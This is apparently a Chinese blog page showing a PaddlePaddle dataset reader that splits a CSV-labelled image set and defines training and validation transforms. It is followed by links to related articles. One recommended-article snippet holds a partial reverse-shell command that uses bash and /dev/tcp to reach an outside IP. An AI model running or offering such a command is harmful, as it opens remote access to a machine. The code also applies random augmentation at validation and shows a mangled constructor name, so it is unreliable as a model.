datasets数据读取器
#切分数据集
img_dir = train_parameters['img_dir']
file_name = train_parameters['file_name']
df = pd.read_csv(file_name)
df = df.sample(frac=1)
train_list = []
val_list = []
for i in range(len(df)):
if (i <= len(df)*0.8):
dirlist = img_dir + '/' + df.iloc[i][0] + '.jpg'
label = df.iloc[i][1]
datainfo = [dirlist, label]
train_list.append(datainfo)
else:
dirlist = img_dir + '/' + df.iloc[i][0] + '.jpg'
label = df.iloc[i][1]
datainfo = [dirlist, label]
val_list.append(datainfo)
# print(len(train_list))
# print(train_list[1][1])
定义数据集
'''
继承paddle.io.Dataset类
'''
IMAGE_SIZE = [3,224,224]
class Datasets(Dataset):
def init(self, data, mode='train'):
'''
步骤二:实现构造函数,定义数据读取,划分训练和测试、验证数据集
'''
super(Datasets, self).__init__()
self.data = data
self.mode = mode
if self.mode == 'train':
self.transforms = T.Compose([
# T.RandomResizedCrop(IMAGE_SIZE),
# T.RandomHorizontalFlip(0.5),
# T.ToTensor(),
# T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
#对输入图像进行裁剪,保持图片中心点不变。transform = CenterCrop(224)。
T.CenterCrop(224),
#随机调整图像的亮度,对比度,饱和度和色调。 transform = ColorJitter(0.4, 0.4, 0.4, 0.4)
T.ColorJitter(0.4, 0.4, 0.4, 0.4),
#依据degrees参数指定的角度范围,按照均匀分布随机产生一个角度对图像进行旋转。
T.RandomRotation(60),
#将形状为 (H x W x C)的输入数据 PIL.Image 或 numpy.ndarray 转换为 (C x H x W)。
T.ToTensor(),
#图像归一化处理,支持两种方式: 1. 用统一的均值和标准差值对图像的每个通道进行归一化处理; 2. 对每个通道指定不同的均值和标准差值进行归一化处理。
T.Normalize(mean=[0.485, 0.456, 0.406],std=[0.229, 0.224, 0.225],)
])
elif self.mode == 'valid':
self.transforms = T.Compose([
# T.Resize(IMAGE_SIZE[0]),
# T.RandomCrop(IMAGE_SIZE),
# T.ToTensor(),
# T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
#对输入图像进行裁剪,保持图片中心点不变。transform = CenterCrop(224)。
T.CenterCrop(224),
#随机调整图像的亮度,对比度,饱和度和色调。 transform = ColorJitter(0.4, 0.4, 0.4, 0.4)
T.ColorJitter(0.4, 0.5, 0.6, 0.7),
#依据degrees参数指定的角度范围,按照均匀分布随机产生一个角度对图像进行旋转。
T.RandomRotation(60),
#将形状为 (H x W x C)的输入数据 PIL.Image 或 numpy.ndarray 转换为 (C x H x W)。
T.ToTensor(),
#图像归一化处理,支持两种方式: 1. 用统一的均值和标准差值对图像的每个通道进行归一化处理; 2. 对每个通道指定不同的均值和标准差值进行归一化处理。
T.Normalize(mean=[0.485, 0.456, 0.406],std=[0.229, 0.224, 0.225],)
])
def __getitem__(self, index):
'''
实现getitem方法,定义指定index时如何获取数据,并返回单条数(训练数据,对应的标签)
'''
image = Image.open(self.data[index][0])
if image.mode != 'RGB':
image = image.convert('RGB')
data = self.transforms(image)
label = np.array([self.data[index][1]-1]).astype('int64')
return data, label
def __len__(self):
return len(self.data)
`
datasets数据读取器的更多相关文章
- Extjs的数据读取器store和后台返回类型简单解析
工作中用到了Extjs,从后台获取数据的时候,用到了extjs自己的Ext.data.store方法,然后封装了ExtGridReturn方法, 目的:前台用到Ext.data.store读取从后台传 ...
- [原创]SSIS-WMI 数据读取器任务:监控物理磁盘空间
背景: 随着时间的推移,我们的DW会越来越大,也就意味着磁盘空间会越来越小,那如果哪一天留意不当,就会造成磁盘空间的不足而导致ETL失败,最终影响我们的系统的数据正确性和使用,更严重的有可 ...
- 数据读取器对象SqlDataReader与数据适配器对象SqlDataAdapter的使用
一.数据读取器对象SqlDataReader的使用 如何执行有查询结果集的select语句. 1.SqlDataReader对象的作用:当包含select语句的SqlCommad对象 ...
- c#中使用数据读取器读取查询结果
今天有时间了. 在看<c#数据库入门经典> ,总结数据读取器查询结果. 针对单个结果集使用读取器,有3中方法: String connString =..; String sql =@&q ...
- 如何在ADO中使用数据读取器(DataReader)读取数据
DbDataReader类型(实现IDataReader接口)是从数据源获取信息最简单也最快速的方法. 数据读取器是只读向前的效据流.井且一次返回一条记录.因此.只有当你向数据源提交 Select 查 ...
- 调用EF的存储过程报“存储区数据提供程序返回的数据读取器所具有的列数对于所请求的查询不够”问题
在运用Entity Framework调用存储过程的时候,遇到"调用EF的存储过程报"调用EF的存储过程报“存储区数据提供程序返回的数据读取器所具有的列数对于所请求的查询不够”问题 ...
- 【原创】SSIS-WMI 数据读取器任务:监控物理磁盘空间
1.背景 随着时间的推移,我们的DW会越来越大,也就意味着磁盘空间会越来越小,那如果哪一天留意不当,就会造成磁盘空间的不足而导致ETL失败,最终影响我们的系统的数据正确性和使用,更严重的有可能导致物理 ...
- 怎样在C#中从数据库中读取数据(数据读取器)
实现在C#中通过语句,查询数据库中的数据 SqlConnection con = null; //创建SqlConnection 的对象 try //try里面放可能出现错误的代码 ...
- 数据库学习任务四:数据读取器对象SqlDataReader、数据适配器对象SqlDataAdapter、数据集对象DataSet
数据库应用程序的开发流程一般主要分为以下几个步骤: 创建数据库 使用Connection对象连接数据库 使用Command对象对数据源执行SQL命令并返回数据 使用DataReader和DataSet ...
随机推荐
- 『现学现忘』Docker常用命令 — 20、容器常用命令(二)
提示:接上一篇 目录 9.后台启动容器 10.查看容器日志 11.查看容器内运行的进程 12.查看容器内部细节 9.后台启动容器 后台启动容器也叫启动守护式容器. 命令:docker run -d 镜 ...
- Centos8 下部署 ASP.net Core 程序
1.安装需要的SDK包,如果程序包含3.1版本,需要安装3.1的SDK. sudo dnf install dotnet-sdk-5.0dotnet --versiondotnet --list-ru ...
- ubuntu 16.04和18.04 忘记登录密码的解决办法
1:开机按Shift键,出现如下界面.(手速要快,Shift键要按时间久一点)选择第二项 2:按回车键进入如下界面,然后选中有recovery mode的选项(第三项) 3:按e进入如下界面,并找到图 ...
- Java多线程【三种实现方法】
java多线程 并发与并行 并发:在操作系统中,是指一个时间段中有几个程序都处于已启动运行到运行完毕之间,且这几个程序都是在同一个处理机上运行,但任一个时刻点上只有一个程序在处理机上运行 并行:一组程 ...
- 53端口反弹shell
shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...
- 如何运行MATLAB和C++混合编程
在GitHub下载了一个大佬的滤波器程序,包含MATLAB和C++,刚开始直接运行,发现提示如下: 然后,第一步:点击截图访问后面的链接,跳转到如下截图: 第二步:点击上面截图的左下角,R2015b版 ...
- Spring Cloud Alibaba 之 Nacos
Nacos 技术讲解 一提到分布式系统就不的不提一下 CAP 原则 什么是CAP CAP原则又称CAP定理,指的是在一个分布式系统中,一致性(Consistency).可用性(Availability ...
- Linux 下通过ping判断机器有没有外网。(不用root)
背景: 想实现一个判断当前系统有没有外网的方法,想到了两种思路: 1)实现一个ICMP协议.但是这个需要root权限才能运行.可以参考:https://www.cnblogs.com/xcywt/p/ ...
- java 基础知识(三)
Arraylist与Vector的区别 清浅池塘 程序员,专栏:Java那些事儿唯一作者,咨询前请先点详细资料 162 人赞同了该文章 这几天工作有点忙,有很多代码需要写,更新文章有点慢,说声抱歉 ...
- volatile 变量和 atomic 变量有什么不同?
Volatile 变量可以确保先行关系,即写操作会发生在后续的读操作之前, 但它并不 能保证原子性.例如用 volatile 修饰 count 变量那么 count++ 操作就不是原子 性的. 而 A ...